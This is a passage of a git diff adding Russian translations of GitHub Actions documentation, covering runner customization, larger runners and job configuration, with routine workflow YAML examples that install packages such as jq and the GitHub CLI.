reusables.actions.changing-the-name-of-a-runner-group %} + +{% ifversion ghec or ghes or ghae %} +## Moving a runner to a group + +{% data reusables.actions.moving-a-runner-to-a-group %} + +## Removing a runner group + +{% data reusables.actions.removing-a-runner-group %} + +{% endif %} diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/translations/ru-RU/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md new file mode 100644 index 000000000000..fb150c6c0e73 --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md @@ -0,0 +1,91 @@ +--- +title: 'Настройка средств выполнения тестов, размещенных в GitHub' +intro: 'Дополнительное программное обеспечение можно установить в рамках рабочего процесса в средствах выполнения тестов, размещенных в GitHub.' +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: + - Workflows +shortTitle: Customize runners +ms.openlocfilehash: d6793216b099fe3dcec44572da0b3d65cbb13fd9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145121088' +--- +{% data reusables.actions.enterprise-github-hosted-runners %} + +Если вам требуются дополнительные программные пакеты для средств выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}, можно создать задание, которое устанавливает пакеты как часть вашего рабочего процесса. + +Чтобы узнать, какие пакеты уже установлены по умолчанию, см. раздел [Предустановленное программное обеспечение](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software). + +В этом руководстве показано, как создать задание, которое устанавливает дополнительное программное обеспечение в средстве выполнения тестов, размещенном в {% data variables.product.prodname_dotcom %}. + +## Установка программного обеспечения в средствах выполнения тестов Ubuntu + +В следующем примере показано, как установить пакет `apt` как часть задания. + +```yaml +name: Build on Ubuntu +on: push + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + - name: Install jq tool + run: | + sudo apt-get update + sudo apt-get install jq +``` + +{% note %} + +**Примечание**. Всегда запускайте `sudo apt-get update` перед установкой пакета. Если индекс `apt` устарел, эта команда получает и повторно индексирует все доступные пакеты, что помогает предотвратить сбои при установке пакетов. + +{% endnote %} + +## Установка программного обеспечения в средствах выполнения тестов macOS + +В следующем примере показано, как установить пакеты и бочки Brew как часть задания. + +```yaml +name: Build on macOS +on: push + +jobs: + build: + runs-on: macos-latest + steps: + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + - name: Install GitHub CLI + run: | + brew update + brew install gh + - name: Install Microsoft Edge + run: | + brew update + brew install --cask microsoft-edge +``` + +## Установка программного обеспечения в средствах выполнения тестов Windows + +В следующем примере показано, как использовать [Chocolatey](https://community.chocolatey.org/packages) для установки интерфейса командной строки {% data variables.product.prodname_dotcom %} как части задания. + +{% raw %} +```yaml +name: Build on Windows +on: push +jobs: + build: + runs-on: windows-latest + steps: + - run: choco install gh + - run: gh version +``` +{% endraw %} diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/index.md b/translations/ru-RU/content/actions/using-github-hosted-runners/index.md new file mode 100644 index 000000000000..4c59b5b390f0 --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/index.md @@ -0,0 +1,23 @@ +--- +title: 'Использование средств выполнения, размещенных в GitHub' +shortTitle: GitHub-hosted runners +intro: Средства выполнения тестов GitHub можно использовать для выполнения рабочих процессов GitHub Actions. +versions: + fpt: '*' + ghec: '*' + ghes: '*' +children: + - /about-github-hosted-runners + - /using-larger-runners + - /controlling-access-to-larger-runners + - /monitoring-your-current-jobs + - /customizing-github-hosted-runners + - /connecting-to-a-private-network +ms.openlocfilehash: d5b0be55603eebecdcc9d7e50a832b84f4ec9fc3 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009992' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md b/translations/ru-RU/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md new file mode 100644 index 000000000000..4784862680b0 --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md @@ -0,0 +1,33 @@ +--- +title: Мониторинг текущих заданий +shortTitle: Monitor current jobs +intro: 'Отслеживайте, как средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}, обрабатывают задания в вашей организации или предприятии, и определите все связанные ограничения.' +versions: + feature: github-runner-dashboard +ms.openlocfilehash: 57fe17f4204082e78af65d837a6c5a7e060fd597 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010095' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Просмотр активных заданий в вашей организации или предприятии + +Вы можете получить список всех заданий в вашей организации или предприятии, выполняющихся в настоящее время в средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}. + +{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} {% data reusables.actions.github-hosted-runners-table-entry %} +1. Просмотрите раздел "Активные задания", содержащий список всех заданий, которые в настоящее время выполняются в средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}. + + ![Снимок экрана: список активных заданий](/assets/images/help/settings/actions-runner-active-jobs.png) + +## Просмотр заданий, находящихся в очереди, в вашей организации или предприятии + +Средства выполнения, размещенные в {% data variables.product.prodname_dotcom %}, позволяют параллельно выполнять задания, а максимальное количество одновременных заданий зависит от вашего плана. Если достигнуто максимальное количество одновременных заданий, все новые задания начнут поступать очередь. Дополнительные сведения о количестве одновременных заданий, доступных для вашего плана, см. в разделе [Ограничения использования, выставление счетов и администрирование](/actions/learn-github-actions/usage-limits-billing-and-administration). + +Следующая процедура показывает, как проверить максимальное количество одновременных заданий, которые вы можете выполнять. + +{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} {% data reusables.actions.github-hosted-runners-table-entry %} +1. Проверьте раздел "Все задания использования", в котором указано количество активных заданий и максимальное количество заданий, которое вы можете запустить. В этом примере в настоящее время выполняется `9` заданий из максимального количества `180`. + ![Снимок экрана: максимальное количество заданий для учетной записи](/assets/images/help/settings/github-hosted-runners-max-jobs.png) diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/using-larger-runners.md b/translations/ru-RU/content/actions/using-github-hosted-runners/using-larger-runners.md new file mode 100644 index 000000000000..c93e08c819ba --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/using-larger-runners.md @@ -0,0 +1,192 @@ +--- +title: Using larger runners +shortTitle: Larger runners +intro: '{% data variables.product.prodname_dotcom %} offers larger runners with more RAM and CPU.' +miniTocMaxHeadingLevel: 3 +product: '{% data reusables.gated-features.hosted-runners %}' +versions: + feature: actions-hosted-runners +--- + +## Overview of {% data variables.actions.hosted_runner %}s + +In addition to the [standard {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources), {% data variables.product.prodname_dotcom %} also offers customers on {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %} plans a range of {% data variables.actions.hosted_runner %}s with more RAM and CPU. These runners are hosted by {% data variables.product.prodname_dotcom %} and have the runner application and other tools preinstalled. + +When {% data variables.actions.hosted_runner %}s are enabled for your organization, a default runner group is automatically created for you with a set of four pre-configured {% data variables.actions.hosted_runner %}s. + +When you add a {% data variables.actions.hosted_runner %} to an organization, you are defining a type of machine from a selection of available hardware specifications and operating system images. {% data variables.product.prodname_dotcom %} will then create multiple instances of this runner that scale up and down to match the job demands of your organization, based on the autoscaling limits you define. + +## Machine specs for {% data variables.actions.hosted_runner %}s + +|Size (vcpu) | Memory (GB) | Storage (SSD) | +| ------------- | ------------- | ------------- | +|4 cores | 16 RAM | 150 GB| +| 8 cores | 32 RAM | 300 GB | +|16 cores| 64 RAM | 600 GB | +|32 cores| 128 RAM| 1200 GB| +|64 cores| 256 RAM | 2040 GB| + +## Architectural overview of {% data variables.actions.hosted_runner %}s + +The {% data variables.actions.hosted_runner %}s are managed at the organization level, where they are arranged into groups that can contain multiple instances of the runner. They can also be created at the enterprise level and shared with organizations in the hierarchy. Once you've created a group, you can then add a runner to the group and update your workflows to target either the group name or the label assigned to the {% data variables.actions.hosted_runner %}. You can also control which repositories are permitted to send jobs to the group for processing. For more information about groups, see "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)." + +In the following diagram, a class of hosted runner named `ubuntu-20.04-16core` has been defined with customized hardware and operating system configuration. + +![Diagram explaining {% data variables.actions.hosted_runner %}](/assets/images/hosted-runner.png) + +1. Instances of this runner are automatically created and added to a group called `grp-ubuntu-20.04-16core`. +2. The runners have been assigned the label `ubuntu-20.04-16core`. +3. Workflow jobs use the `ubuntu-20.04-16core` label in their `runs-on` key to indicate the type of runner they need to execute the job. +4. {% data variables.product.prodname_actions %} checks the runner group to see if your repository is authorized to send jobs to the runner. +5. The job runs on the next available instance of the `ubuntu-20.04-16core` runner. + +## Autoscaling {% data variables.actions.hosted_runner %}s + +Your {% data variables.actions.hosted_runner %}s can be configured to automatically scale to suit your needs. When jobs are submitted for processing, more machines can be automatically provisioned to run the jobs, until reaching a pre-defined maximum limit. Each machine only handles one job at a time, so these settings effectively determine the number of jobs that can be run concurrently. + +During the runner deployment process, you can configure the _Max_ option, which allows you to control your costs by setting the maximum parallel number of machines that are created in this set. A higher value here can help avoid workflows being blocked due to parallelism. + +## Networking for {% data variables.actions.hosted_runner %}s + +By default, {% data variables.actions.hosted_runner %}s receive a dynamic IP address that changes for each job run. Optionally, {% data variables.product.prodname_ghe_cloud %} customers can configure their {% data variables.actions.hosted_runner %}s to receive a static IP address from {% data variables.product.prodname_dotcom %}'s IP address pool. When enabled, instances of the {% data variables.actions.hosted_runner %} will receive an address from a range that is unique to the runner, allowing you to use this range to configure a firewall allowlist. {% ifversion fpt %}You can use up to 10 static IP address ranges in total across all your {% data variables.actions.hosted_runner %}s{% endif %}{% ifversion ghec %}You can use up to 10 static IP address ranges for the {% data variables.actions.hosted_runner %}s created at the enterprise level. In addition, you can use up to 10 static IP address ranges for the {% data variables.actions.hosted_runner %}s created at the organization level, for each organization in your enterprise{% endif %}. + +{% note %} + +**Note**: If runners are unused for more than 30 days, their IP address ranges are automatically removed and cannot be recovered. + +{% endnote %} + +## Planning for {% data variables.actions.hosted_runner %}s + +### Create a runner group + +Runner groups are used to collect sets of virtual machines and create a security boundary around them. You can then decide which organizations or repositories are permitted to run jobs on those sets of machines. During the {% data variables.actions.hosted_runner %} deployment process, the runner can be added to an existing group, or otherwise it will join a default group. You can create a group by following the steps in "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)." + +### Understanding billing + +{% note %} + +**Note**: The {% data variables.actions.hosted_runner %}s do not use included entitlement minutes, and are not free for public repositories. + +{% endnote %} + +Compared to standard {% data variables.product.prodname_dotcom %}-hosted runners, {% data variables.actions.hosted_runner %}s are billed differently. For more information, see "[Per-minute rates](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates)". + +## Adding a {% data variables.actions.hosted_runner %} to an enterprise + +You can add {% data variables.actions.hosted_runner %}s to an enterprise, where they can be assigned to multiple organizations. The organization admins can then control which repositories can use the runners. To add a {% data variables.actions.hosted_runner %} to an enterprise, you must be an enterprise owner. + +{% data reusables.actions.add-hosted-runner-overview %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% data reusables.actions.add-hosted-runner %} +1. To allow organizations to access your {% data variables.actions.hosted_runner %}s, you specify the list of organizations that can use it. For more information, see "[Managing access to your runners](#managing-access-to-your-runners)." + +## Adding a {% data variables.actions.hosted_runner %} to an organization + +You can add a {% data variables.actions.hosted_runner %} to an organization, where the organization admins can control which repositories can use it. + +{% data reusables.actions.add-hosted-runner-overview %} + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +{% data reusables.actions.add-hosted-runner %} +1. To allow repositories to access your {% data variables.actions.hosted_runner %}s, add them to the list of repositories that can use it. For more information, see "[Managing access to your runners](#managing-access-to-your-runners)." + +## Running jobs on your runner + +Once your runner type has been defined, you can update your workflow YAML files to send jobs to your newly created runner instances for processing. You can use runner groups or labels to define where your jobs run. + +Only owner or administrator accounts can see the runner settings. Non-administrative users can contact the organization administrator to find out which runners are enabled. Your organization administrator can create new runners and runner groups, as well as configure permissions to specify which repositories can access a runner group. + +### Using groups to control where jobs are run + +{% data reusables.actions.jobs.example-runs-on-groups %} + +### Using labels to control where jobs are run + +In this example, a runner group is populated with Ubuntu 16-core runners, which have also been assigned the label `ubuntu-20.04-16core`. The `runs-on` key sends the job to any available runner with a matching label: + +```yaml +name: learn-github-actions +on: [push] +jobs: + check-bats-version: + runs-on: + labels: ubuntu-20.04-16core + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats + - run: bats -v +``` + +### Using labels and groups to control where jobs are run + +{% data reusables.actions.jobs.example-runs-on-labels-and-groups %} + +### Using multiple labels + +You can specify multiple labels that need to be matched for a job to run on a runner. A runner will need to match all labels to be eligible to run the job. + +In this example, a runner will need to match all three of the labels to run the job: + +```yaml +name: learn-github-actions +on: [push] +jobs: + check-bats-version: + runs-on: + labels: [ ubuntu-20.04-16core, gpu, qa ] + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats + - run: bats -v +``` + +{% data reusables.actions.section-using-unique-names-for-runner-groups %} + +## Managing access to your runners + +{% note %} + +**Note**: Before your workflows can send jobs to {% data variables.actions.hosted_runner %}s, you must first configure permissions for the runner group. See the following sections for more information. + +{% endnote %} + +Runner groups are used to control which repositories can run jobs on your {% data variables.actions.hosted_runner %}s. You must grant access to the group from each level of the management hierarchy, depending on where you've defined the {% data variables.actions.hosted_runner %}: + +- **Runners at the enterprise level**: Configure the runner group to grant access to all the required organizations. In addition, for each organization, you must configure the group to specify which repositories are allowed access. +- **Runners at the organization level**: Configure the runner group by specifying which repositories are allowed access. + +For example, the following diagram has a runner group named `grp-ubuntu-20.04-16core` at the enterprise level. Before the repository named `octo-repo` can use the runners in the group, you must first configure the group at the enterprise level to allow access from the `octo-org` organization; you must then configure the group at the organization level to allow access from `octo-repo`: + +![Diagram explaining {% data variables.actions.hosted_runner %} groups](/assets/images/hosted-runner-mgmt.png) + +### Allowing repositories to access a runner group + +This procedure demonstrates how to configure group permissions at the enterprise and organization levels: + +{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %} + - For runner groups in an enterprise: under **Organization access**, modify which organizations can access the runner group. + - For runner groups in an organization: under **Repository access**, modify which repositories can access the runner group. + +{% warning %} + +**Warning**: + +{% data reusables.actions.hosted-runner-security %} + +For more information, see "[Controlling access to {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/controlling-access-to-larger-runners)." + +{% endwarning %} diff --git a/translations/ru-RU/content/actions/using-jobs/assigning-permissions-to-jobs.md b/translations/ru-RU/content/actions/using-jobs/assigning-permissions-to-jobs.md new file mode 100644 index 000000000000..55bf14767dd2 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/assigning-permissions-to-jobs.md @@ -0,0 +1,26 @@ +--- +title: Назначение разрешений для заданий +shortTitle: Assign permissions to jobs +intro: 'Измените разрешения по умолчанию, предоставленные `GITHUB_TOKEN`.' +versions: + fpt: '*' + ghes: '> 3.1' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: afaee7a4a7fb819d989c0479b31ee73044aa51e5 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009972' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %} + +## Назначение разрешений определенному заданию + +{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %} diff --git a/translations/ru-RU/content/actions/using-jobs/choosing-the-runner-for-a-job.md b/translations/ru-RU/content/actions/using-jobs/choosing-the-runner-for-a-job.md new file mode 100644 index 000000000000..2adacc983c6b --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/choosing-the-runner-for-a-job.md @@ -0,0 +1,22 @@ +--- +title: Выбор средства выполнения тестов для задания +shortTitle: Choose the runner for a job +intro: 'Определите тип компьютера, который будет обрабатывать задание в рабочем процессе.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 18ba9ac5abe0e78d4b3608d5e225a34021ec2a2e +ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: '148120884' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-choosing-the-runner-for-a-job %} diff --git a/translations/ru-RU/content/actions/using-jobs/defining-outputs-for-jobs.md b/translations/ru-RU/content/actions/using-jobs/defining-outputs-for-jobs.md new file mode 100644 index 000000000000..c3c4917f01e1 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/defining-outputs-for-jobs.md @@ -0,0 +1,22 @@ +--- +title: Определение выходных данных для заданий +shortTitle: Define outputs for jobs +intro: Создайте карту выходных данных для заданий. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: 6631f42e15efca75d349831523d2c28ea70d6645 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009995' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-defining-outputs-for-jobs %} diff --git a/translations/ru-RU/content/actions/using-jobs/index.md b/translations/ru-RU/content/actions/using-jobs/index.md new file mode 100644 index 000000000000..01a50924eafe --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/index.md @@ -0,0 +1,30 @@ +--- +title: Использование заданий +shortTitle: Using jobs +intro: 'Создание заданий {% data variables.product.prodname_actions %} и управление ими.' +redirect_from: + - /actions/jobs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /using-jobs-in-a-workflow + - /choosing-the-runner-for-a-job + - /using-conditions-to-control-job-execution + - /using-a-matrix-for-your-jobs + - /using-concurrency + - /using-environments-for-jobs + - /running-jobs-in-a-container + - /setting-default-values-for-jobs + - /assigning-permissions-to-jobs + - /defining-outputs-for-jobs +ms.openlocfilehash: 6de2fd2719c09a2a6c569ca3e423b08cd526db88 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145121040' +--- + diff --git a/translations/ru-RU/content/actions/using-jobs/running-jobs-in-a-container.md b/translations/ru-RU/content/actions/using-jobs/running-jobs-in-a-container.md new file mode 100644 index 000000000000..1e3ee14855ad --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/running-jobs-in-a-container.md @@ -0,0 +1,47 @@ +--- +title: Выполнение заданий в контейнере +shortTitle: Run jobs in a container +intro: Используйте контейнер для выполнения шагов задания. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: 5c7cdaef42f147cf0b0edccccb8637495a341a64 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009964' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-running-jobs-in-a-container %} + +## Определение образа контейнера + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %} + +## Определение учетных данных для реестра контейнеров + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %} + +## Использование переменных среды с контейнером + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %} + +## Предоставление сетевых портов в контейнере + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %} + +## Подключение томов в контейнере + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %} + +## Настройка параметров ресурса контейнера + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %} + diff --git a/translations/ru-RU/content/actions/using-jobs/setting-default-values-for-jobs.md b/translations/ru-RU/content/actions/using-jobs/setting-default-values-for-jobs.md new file mode 100644 index 000000000000..b29d61ded707 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/setting-default-values-for-jobs.md @@ -0,0 +1,34 @@ +--- +title: Задание значений по умолчанию для заданий +shortTitle: Set default values for jobs +intro: 'Определите параметры по умолчанию, которые будут применяться ко всем заданиям в рабочем процессе или ко всем шагам в задании.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: 8999869aee59b36c0ec38a193a0940e50fb693ef +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010020' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %} + +## Задание оболочки по умолчанию и рабочей папки + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %} + +## Задание значений по умолчанию для определенного задания + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %} + +## Задание оболочки по умолчанию и рабочей папки для задания + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %} diff --git a/translations/ru-RU/content/actions/using-jobs/using-a-matrix-for-your-jobs.md b/translations/ru-RU/content/actions/using-jobs/using-a-matrix-for-your-jobs.md new file mode 100644 index 000000000000..8cf2c81c9614 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/using-a-matrix-for-your-jobs.md @@ -0,0 +1,64 @@ +--- +title: Использование матрицы для заданий +shortTitle: Matrixes +intro: Создайте матрицу для определения вариантов для каждого задания. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +redirect_from: + - /actions/using-jobs/using-a-build-matrix-for-your-jobs +ms.openlocfilehash: 77eee0cad601e4c871149837d098670d459b7371 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009987' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о стратегиях матрицы + +{% data reusables.actions.jobs.about-matrix-strategy %} + +## Использование стратегии матрицы + +{% data reusables.actions.jobs.using-matrix-strategy %} + +### Пример. Использование матрицы с одним измерением + +{% data reusables.actions.jobs.single-dimension-matrix %} + +### Пример. Использование матрицы с несколькими измерениями + +{% data reusables.actions.jobs.multi-dimension-matrix %} + +### Пример. Использование контекстов для создания матриц + +{% data reusables.actions.jobs.matrix-from-context %} + +## Развертывание или добавление конфигураций матрицы + +{% data reusables.actions.jobs.matrix-include %} + +### Пример. Развертывание конфигураций + +{% data reusables.actions.jobs.matrix-expand-with-include %} + +### Пример. Добавление конфигураций + +{% data reusables.actions.jobs.matrix-add-with-include %} + +## Исключение конфигураций матрицы + +{% data reusables.actions.jobs.matrix-exclude %} + +## Обработка сбоев + +{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %} + +## Определение максимального числа параллельных заданий + +{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %} diff --git a/translations/ru-RU/content/actions/using-jobs/using-concurrency.md b/translations/ru-RU/content/actions/using-jobs/using-concurrency.md new file mode 100644 index 000000000000..65b53182b6c9 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/using-concurrency.md @@ -0,0 +1,27 @@ +--- +title: Использование параллелизма +shortTitle: Concurrency +intro: Выполнение одного задания за раз. +versions: + fpt: '*' + ghes: '> 3.1' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: a994f8b4bf670b9f98792a85c61a786ea0865a8a +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010075' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-using-concurrency-jobs %} + +{% ifversion github-runner-dashboard %} +## Мониторинг текущих заданий в организации или предприятии + +{% data reusables.actions.github-hosted-runners-check-concurrency %} {% endif %} diff --git a/translations/ru-RU/content/actions/using-jobs/using-conditions-to-control-job-execution.md b/translations/ru-RU/content/actions/using-jobs/using-conditions-to-control-job-execution.md new file mode 100644 index 000000000000..2ca3399708e0 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/using-conditions-to-control-job-execution.md @@ -0,0 +1,32 @@ +--- +title: Использование условий для управления выполнением задания +shortTitle: Use conditions to control job execution +intro: 'Запретите выполнение задания, если не выполнены ваши условия.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: e15f726c91109d2aa9cb7cd4b2acd264c6b51b98 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009967' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% note %} + +**Примечание.** Пропущенное задание имеет состояние "Успешно". Это не помешает слиянию запроса на вытягивание, даже если это обязательная проверка. + +{% endnote %} + +{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %} + +В пропущенном задании отобразится следующее состояние: + +![Skipped-required-run-details](/assets/images/help/repository/skipped-required-run-details.png) diff --git a/translations/ru-RU/content/actions/using-jobs/using-environments-for-jobs.md b/translations/ru-RU/content/actions/using-jobs/using-environments-for-jobs.md new file mode 100644 index 000000000000..2eb2e8f8ef34 --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/using-environments-for-jobs.md @@ -0,0 +1,22 @@ +--- +title: Использование сред для заданий +shortTitle: Environments +intro: Укажите среду для задания. +versions: + fpt: '*' + ghes: '> 3.0' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: b43521c4dcf3330c79ae8bfaae017ddf531d3579 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009991' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-using-environments-for-jobs %} diff --git a/translations/ru-RU/content/actions/using-jobs/using-jobs-in-a-workflow.md b/translations/ru-RU/content/actions/using-jobs/using-jobs-in-a-workflow.md new file mode 100644 index 000000000000..117bd647c92d --- /dev/null +++ b/translations/ru-RU/content/actions/using-jobs/using-jobs-in-a-workflow.md @@ -0,0 +1,34 @@ +--- +title: Использование заданий в рабочем процессе +shortTitle: Use jobs in a workflow +intro: Использование рабочих процессов для выполнения нескольких заданий. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +ms.openlocfilehash: 36d4a874fbd1833065b0aefd9b279cb38f03cd77 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009951' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %} + +## Задание идентификатора для задания + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %} + +## Присвоение имени заданию + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %} + +## Определение требуемых заданий + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %} diff --git a/translations/ru-RU/content/actions/using-workflows/about-workflows.md b/translations/ru-RU/content/actions/using-workflows/about-workflows.md new file mode 100644 index 